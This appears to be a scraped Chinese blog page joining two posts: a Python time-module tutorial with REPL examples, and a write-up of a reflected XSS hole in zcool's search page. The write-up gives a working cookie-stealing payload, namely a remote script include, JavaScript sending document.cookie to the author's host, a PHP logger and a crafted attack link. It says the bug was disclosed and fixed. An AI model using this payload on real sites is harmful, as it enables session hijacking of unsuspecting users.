好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

time模块

time模块

time模块

      time常用函数   

     最近参与python的一个项目,发现经常遇到一些常用的模块,而每次使用时,我都要查一遍。终于,我决定要各个击破,对常用的python小知识进行总结。下面总结了python中对时间处理的常见函数。

在开始之前,首先要说明这几点:

在Python中,通常有这几种方式来表示时间:1)、时间戳 2)、格式化的时间字符串 3)、元组(struct_time)共九个元素。由于Python的time模块实现主要调用C库,所以各个平台可能有所不同。 UTC(Coordinated Universal Time,世界协调时)亦即格林威治天文时间,世界标准时间。在中国为UTC+8。DST(Daylight Saving Time)即夏令时。 时间戳(timestamp)的方式:通常来说,时间戳表示的是从 1970年1月1日08:00:00 开始按秒计算的偏移量。运行“type(time.time())”,返回的是float类型。返回时间戳方式的函数主要有time(),clock()等。 元组(struct_time)方式:struct_time元组共有9个元素,返回struct_time的函数主要有gmtime(),localtime(),strptime()。

     time的函数较多,但常用的也就那几个。使用time函数前,照例先导入time模块。介绍常用函数前要先了解最基础的函数:

    (1)、time函数——返回当前时间的时间戳,浮点数格式

>>>  from  time  import  *    #导  入python模块的所有函数 
>>>  time()
 1370485361.442

    (2)、localtime函数——localtime([secs]), 将一个时间戳转换为当前时区的struct_time。secs参数未提供,则以当前时间为准。

 #  默认以当前时间为准 
 >>>     localtime()  
time.struct_time(tm_year =2013, tm_mon=6, tm_mday=6, tm_hour=10, tm_min=39, tm_sec=49, tm_wday=3, tm_yday=157, tm_isdst= 0)
  #  等同于localtime() 
 >>>     localtime(time())  
time.struct_time(tm_year =2013, tm_mon=6, tm_mday=6, tm_hour=10, tm_min=40, tm_sec=37, tm_wday=3, tm_yday=157, tm_isdst= 0)
  #  指定一个时间戳参数 
>>>  localtime(1370485361.442   ) 
time.struct_time(tm_year =2013, tm_mon=6, tm_mday=6, tm_hour=10, tm_min=22, tm_sec=41, tm_wday=3, tm_yday=157, tm_isdst= 0)
  #  默认从1970年1月1日开始 
>>>  localtime(345   ) 
time.struct_time(tm_year =1970, tm_mon=1, tm_mday=1, tm_hour=8, tm_min=5, tm_sec=45, tm_wday=3, tm_yday=1, tm_isdst= 0)
 >>>  localtime(1   ) 
time.struct_time(tm_year =1970, tm_mon=1, tm_mday=1, tm_hour=8, tm_min=0, tm_sec=1, tm_wday=3, tm_yday=1, tm_isdst= 0) 

   localtime()输出参数说明:

索引(Index) 属性(Attribute) 值(Values) 0  tm_year(年)  比如2013  1  tm_mon(月)  1 - 12 2  tm_mday(日)  1 - 31 3  tm_hour(时)  0 - 23 4  tm_min(分)  0 - 59 5  tm_sec(秒)  0 - 61 6  tm_wday(weekday)  0 - 6(0表示周日) 7  tm_yday(一年中的第几天)  1 - 366 8  tm_isdst(是否是夏令时)  默认为-1

   

   

   

   (3)、gmtime()函数—— 和localtime()方法类似,gmtime()方法是将一个时间戳转换为UTC时区(0时区)的struct_time。

>>>  gmtime()
time.struct_time(tm_year =2013, tm_mon=6, tm_mday=6, tm_hour=4, tm_min=2, tm_sec=47, tm_wday=3, tm_yday=157, tm_isdst= 0)
 >>>  gmtime(time())
time.struct_time(tm_year =2013, tm_mon=6, tm_mday=6, tm_hour=4, tm_min=2, tm_sec=53, tm_wday=3, tm_yday=157, tm_isdst=0)

    (4)、asctime()函数——asctime([tuple]),  把一个表示时间的元组或者struct_time表示为这种形式: 'Sun Jun 20 23:21:05 1993' 。如果没有参数,将会将time.localtime()作为参数传入。

>>> asctime() #  默认是当前时间的struct time 
 '  Thu Jun 06 10:55:40 2013  ' 
>>>  asctime(localtime())
  '  Thu Jun 06 10:56:02 2013  ' 

    (5)、ctime函数——ctime([secs]), 把一个时间戳(按秒计算的浮点数)转化为time.asctime()的形式。如果参数未给或者为None的时候,将会默认time.time()为参数。它的作用相当于time.asctime(time.localtime(secs))。

>>> ctime()  #  等同于ctime(time()) 
 '  Thu Jun 06 11:05:34 2013  ' 
>>>  ctime(time())
  '  Thu Jun 06 11:05:44 2013  ' 
 #  默认从1970年1月1日08:00:00开始 
>>> ctime(238 )
  '  Thu Jan 01 08:03:58 1970  ' 
>>> ctime(1 )
  '  Thu Jan 01 08:00:01 1970  ' 

 以上是基础的时间函数,下面是常用的时间处理函数。

       实际存储中,更多的是存储时间戳(这样易于时间的计算,有更好的存储性能)而不是更易于我们阅读的时间格式,所以,我们有将时间戳转换为普通时间格式的冲动——strftime函数。

     (6)、 strftime函数 ——strftime( format [,  tuple ]) : 把一个代表时间的元组或者struct_time(如由time.localtime()和time.gmtime()返回)转化为格式化的时间字符串。 如果tuple未指定,将传入time.localtime()。如果元组中任何一个元素越界,ValueError的错误将会被抛出。

>>> strftime( '  %Y-%m-%d %H:%M:%S  '  , localtime(time()))
  '  2013-06-06 11:10:57  '    #  这是我们比较喜爱的时间格式 
>>> strftime( '  %Y-%m-%d  '  , localtime())
  '  2013-06-06  ' 
>>> strftime( '  %Y-%m-%d %X  ' , localtime())   ==>  %X给出默认本地相应时间
  '  2013-06-06 11:12:39  ' 

 Format参数说明:

格式 含义 %a 本地(locale)简化星期名称 %A 本地完整星期名称 %b 本地简化月份名称 %B 本地完整月份名称 %c 本地相应的日期和时间表示 %d 一个月中的第几天(01 - 31) %H 一天中的第几个小时(24小时制,00 - 23) %I 第几个小时(12小时制,01 - 12) %j 一年中的第几天(001 - 366) %m 月份(01 - 12) %M 分钟数(00 - 59) %p 本地am或者pm的相应符 %S 秒(01 - 61) %U 一年中的星期数。(00 - 53星期天是一个星期的开始。)第一个星期天之前的所有天数都放在第0周。 %w 一个星期中的第几天(0 - 6,0是星期天) %W 和%U基本相同,不同的是%W以星期一为一个星期的开始。 %x 本地相应日期 %X 本地相应时间 %y 去掉世纪的年份(00 - 99) %Y 完整的年份 %Z 时区的名字(如果不存在为空字符) %% ‘%’字符

   

(7)、 mktime()函数 ——mktime( tuple ),将一个struct_time或者9个参数的时间元组转化为时间戳。

>>>  mktime(localtime())
 1370490962.0
 >>> mktime(2013, 6, 6, 13, 3, 38, 1, 48, 0) #这样写是错的

Traceback (most recent call last):
  File "<pyshell#28>", line 1, in <module>
    mktime(2013, 6, 6, 13, 3, 38, 1, 48, 0)
TypeError: mktime() takes exactly one argument (9 given) 
>>>   mktime((2013, 6, 6, 13, 3, 38, 1, 48, 0))   #  注意这里9个参数的元组作为一个参数 
1370495018.0
>>> 

    (8)、strptime()函数——strptime(s tring [,  format ]) :把一个格式化时间字符串转化为struct_time。它是strftime()的逆操作。

>>> strptime( '  2013-06-06 11:12:39  ' , '  %Y-%m-%d %X  '  )
time.struct_time(tm_year =2013, tm_mon=6, tm_mday=6, tm_hour=11, tm_min=12, tm_sec=39, tm_wday=3, tm_yday=157, tm_isdst=-1)

    其他常用的时间函数:

   (9)、sleep()函数——sllep(secs),可以通过调用time.sleep来挂起当前的进程。time.sleep接收一个浮点型参数,表示进程挂起的时间。

     (10)、clock()函数——这个函数 在不同的系统上 含义不同 。 在Linux系统上,它返回的是“进程时间”,它是用秒表示的浮点数(时间戳)。 在windows操作系统上,time.clock() 返回第一次调用该方法到现在的秒数,其精确度高于1微秒。可以使用该函数来记录程序执行的时间。

总结一下该函数有两个功能:
  在第一次调用的时候,返回的是程序运行的实际时间;
  以第二次之后的调用,返回的是自第一次调用后,到这次调用的时间间隔

>>>  clock()
 1.655286571487689e-06    #  第一次调用是程序运行时间 
>>>  clock()
 8.366160976619078   #  第二次调用是与第一次的时间间隔 
>>> clock()     #  第三次调用是与第一次的时间间隔 
12.056175791433892
>>> sleep(1)

 总结一下:

(1)、常见应用

    1)、获取当前时间:

   time.time() 获取当前时间戳
   time.localtime() 当前时间的struct_time形式
   time.ctime() 当前时间的字符串形式

    2)、将时间戳转换为字符串:

  time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())

    3)、将字符串转换为时间戳:

   time.mktime(time.strptime('2013-06-06 09:00','%Y-%m-%d %H:%M'))

(2)、 在Python中共有三种表达方式以及这三种方式之间的转换:

   1)、timestamp

   2)、tuple或者struct_time

   3)、格式化字符串。

 

当然time模块还有其它函数,目前还没用到,用到再进行补充。

 

 

 

标签:  Python

一个危险的XSS案例——轻松拿到登录用户的cookie 2013-06-06 12:58 by 程序猿小卡, 1050 阅读,  12  评论,  收藏 ,  编辑

casperchen from IMWeb Team.

 

站酷是我很喜欢的设计类站点,上面有我大二美好的回忆,卖个广告,我的个人主页是: http://HdhCmsTestzcool测试数据.cn/u/346408

 

很好,其实上面不是重点。这段时间周围出现了好几单安全相关的问题,基本都是XSS漏洞导致的。于是内心一直惦记着,包括上个周末在逛站酷的时候,然后突发奇想: 站酷上是否也存在XSS漏洞呢?

 

 

找到XSS漏洞

 

本着学习交流的目的,用颤巍巍的手指在站酷的作品搜索拦里输下了如下代码

<script>alert(1)</script>

然后按下了回车(http://HdhCmsTestzcool测试数据,chrome浏览器下访问) 

 

 

内心一阵失落,并没有预期中那样弹出个框来,叹了口气。但是,毕竟是个不轻言放弃的人,于是想了:chrome浏览器的安全机制是比较强大的,莫非是浏览器做了什么事情?

 

于是F12打开控制台,果然~~好吧,输给chrome了。

 

 

既然如此,其他浏览器呢?一向挺喜欢freifox浏览器的,前端工作人员嘛,于是firefox毫不犹豫成了第二个试验的对象。然后~~然后~~ congratulations!!

 

好大一个弹窗!

 

 

进一步利用XSS漏洞

 

虽然内容有一些鸡冻,但仅仅找到一个XSS漏洞显然无法满足一个充满求知欲望的前端攻城狮,于是继续想:是不是可以利用它来做更多事情呢?

 

首先分析了下站酷的页面表现神马的,发现它是 将用户输入脚本直接输出到页面 ,那就好办了,果断输入如下内容:

 

<script src="http://saintcoder.duapp测试数据/joke/joke.js"></script>

 

于是站酷华丽丽地就加载了一段joke.js(只是恶作剧性质的脚本),joke.js里面的代码也很简单,创建一个img标签,将它的src属性指向我预先写好的一个脚本joke.php,这里关键的一点是: 将页面的cookie最为参数附加到url后面

 var  img = document.createElement('img' );
img.width  = 0 ;
img.height  = 0 ;
img.src  = 'http://saintcoder.duapp测试数据/joke/joke.php?joke='+encodeURIComponent(document.cookie);


然后呢,joke.php里也是相当简单,解析请求里面的joke参数(即用户的cookie),然后。。。然后偷偷保留起来别有他用~~

<? php
    @ini_set( 'display_errors',1 );
    $str  = $_GET['joke' ];
    $filePath  = "joke.php" ;

      if (is_writable($filePath)== false  ){
         echo  "can't write" ;
    }  else  {
          $handler  = fopen(filePath, "a" );
          fwrite($handler, $str);
          fclose($handler);
    }
 ?>


很好,顿时觉得站酷很危险,只要我把下面这段链接发给其他站酷用户

 

http: //  HdhCmsTestzcool测试数据.cn/tosearch.do?page=0&world=%3Cscript%20src=%22http://saintcoder.duapp测试数据/joke/joke.js%22%3E%3C/script%3E 


毫无压力所有cookie到手,如果当时用户登录中效果更佳 :)

 

 

漏洞提交

 

找到漏洞很鸡冻,但毕竟站酷是我挺喜欢的一个网站,也不希望它被人黑了。于是果断给站酷管理员,并收到回复。god bless 站酷~

 

 

结束语

截至目前,该XSS漏洞已被修复,所以就把这篇文章贴出来分享下,避免过早公布导致站酷被人攻击就不好了~~

 

网络很不安全,开发兄弟们要加强安全防范意识啊~~~


新浪微博: http://weibo测试数据/chyingp  
站酷主页: http://HdhCmsTestzcool测试数据.cn/u/346408/

 

 

标签:  xss ,  安全

作者: Leo_wl

    

出处: http://HdhCmsTestcnblogs测试数据/Leo_wl/

    

本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利。

版权信息

查看更多关于time模块的详细内容...

  阅读:49次